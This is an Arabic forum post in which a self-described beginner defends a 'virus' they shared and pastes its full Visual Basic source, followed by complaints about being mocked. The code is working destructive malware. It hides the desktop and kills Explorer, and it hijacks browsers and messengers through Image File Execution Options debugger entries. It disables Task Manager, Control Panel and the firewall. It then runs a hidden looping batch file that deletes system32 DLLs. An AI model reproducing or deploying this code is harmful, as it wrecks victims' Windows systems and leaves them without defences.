لا حول ولا قوه الا بالله يا اخى هل تلقى التهم جزافا سامحك الله لا مشكله من وجود مشاكل فى الفيروس فنحن كلنا مبتدأون... اما انك تقول ان دا سيرفر وتطلب غلق الموضوع بحجه انه ملغوم... فمع احترامى هذا كلام لا يقوم على دليل وحضرتك تابع نفسك وشارح فى فيديو انت تقول انه بيفتح دوس... اقولك فعلا هذا هو الكود بالفيجوال بيسك: Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, _ ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _ ByVal nCmdShow As Long) As Long Option Explicit Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Sub Form_Load() On Error Resume Next Dim W Dim WindowsD As String WindowsD = Space(144) W = GetWindowsDirectory(WindowsD, 144) Text1.Text = WindowsD App.TaskVisible = False Dim hwnd As Long hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hwnd, 0 Shell "taskkill /f /im explorer.exe" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Skype.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\moviemk.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winamp.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmplayer.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinRAR.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmsgs.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YahooMessenger.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\opera.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies\system\DisableTaskMgr", "00000001", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel", "00000001", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoViewContextMenu", "00000001", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoWebServies", "00000001", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firefox.exe\Debugger", "C:\WINDOWS\security\Fatel Error.exe", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoPropertiesMyCompute r", "00000001", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\MouseSensitivity", "00000999", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ SharedAccess\Parameters\FirewallPolicy\StandardPro file\EnableFirewall", "0", "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickSpeed", "1", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\Shell Icon BPP", "3", "REG_SZ" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi ces\Cdrom\AutoRun", 0, "REG_DWORD" CreateObject("WScript.Shell").regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi ces\Cdrom\Start", 0, "REG_DWORD" Shell "taskkill /f /im WinRAR.exe" Shell "taskkill /f /im firefox.exe" Shell "taskkill /f /im IEXPLORE.exe" Shell "taskkill /f /im YahooMessenger.exe" Shell "taskkill /f /im msmsgs.exe" Shell "taskkill /f /im opera.exe" Shell "taskkill /f /im avant.exe" Shell "taskkill /f /im mpc-hc.exe" Shell "taskkill /f /im wmplayer.exe" Open Text1.Text & "\Etos Storm.bat" For Output As #1 Print #1, "@echo off" Print #1, "break off" Print #1, ":V" Print #1, "del " & Text1.Text & "\system32\*.dll" Print #1, "goto V" Close #1 Shell Text1.Text & "Etos Storm.bat", vbHide End Sub هل علمت يا اخى لماذا فتح الدوس.... ستجد فى الكود السابق الاجابه واعذرنى انا لم افهم ما كتبته فى البوست السابق... لا اهفهم لهجتك العاميه - - - تم التحديث - - - وانت يا اخى هل تستهزأ بى فى هذا الفيديو... فى الصوره التى وضعتها فى البدايه اخى احب ان اذكرك انك مهما كنت قد وصلت فى قمه العلم فستجد نفسك فى النهايه لا تعلم والجاهل هو من ادعى تمام العلم وانت تستهزأ بى وعلى قله معلوماتى......فلن اجيب وارد عليك يا اخى... بل سأقول لك يكفينى هذا العلم الضئيل,على ان اكون محترف واستهزأ بالاخرين الاقل منى خبره - - - تم التحديث - - - وانت يا اخى هل تستهزأ بى فى هذا الفيديو... فى الصوره التى وضعتها فى البدايه اخى احب ان اذكرك انك مهما كنت قد وصلت فى قمه العلم فستجد نفسك فى النهايه لا تعلم والجاهل هو من ادعى تمام العلم وانت تستهزأ بى وعلى قله معلوماتى......فلن اجيب وارد عليك يا اخى... بل سأقول لك يكفينى هذا العلم الضئيل,على ان اكون محترف واستهزأ بالاخرين الاقل منى خبره
لآيوجد آنسان ضعيف بل يوجد آنسان يجهل موطن القوه في نفسه
قوانين المنتدى
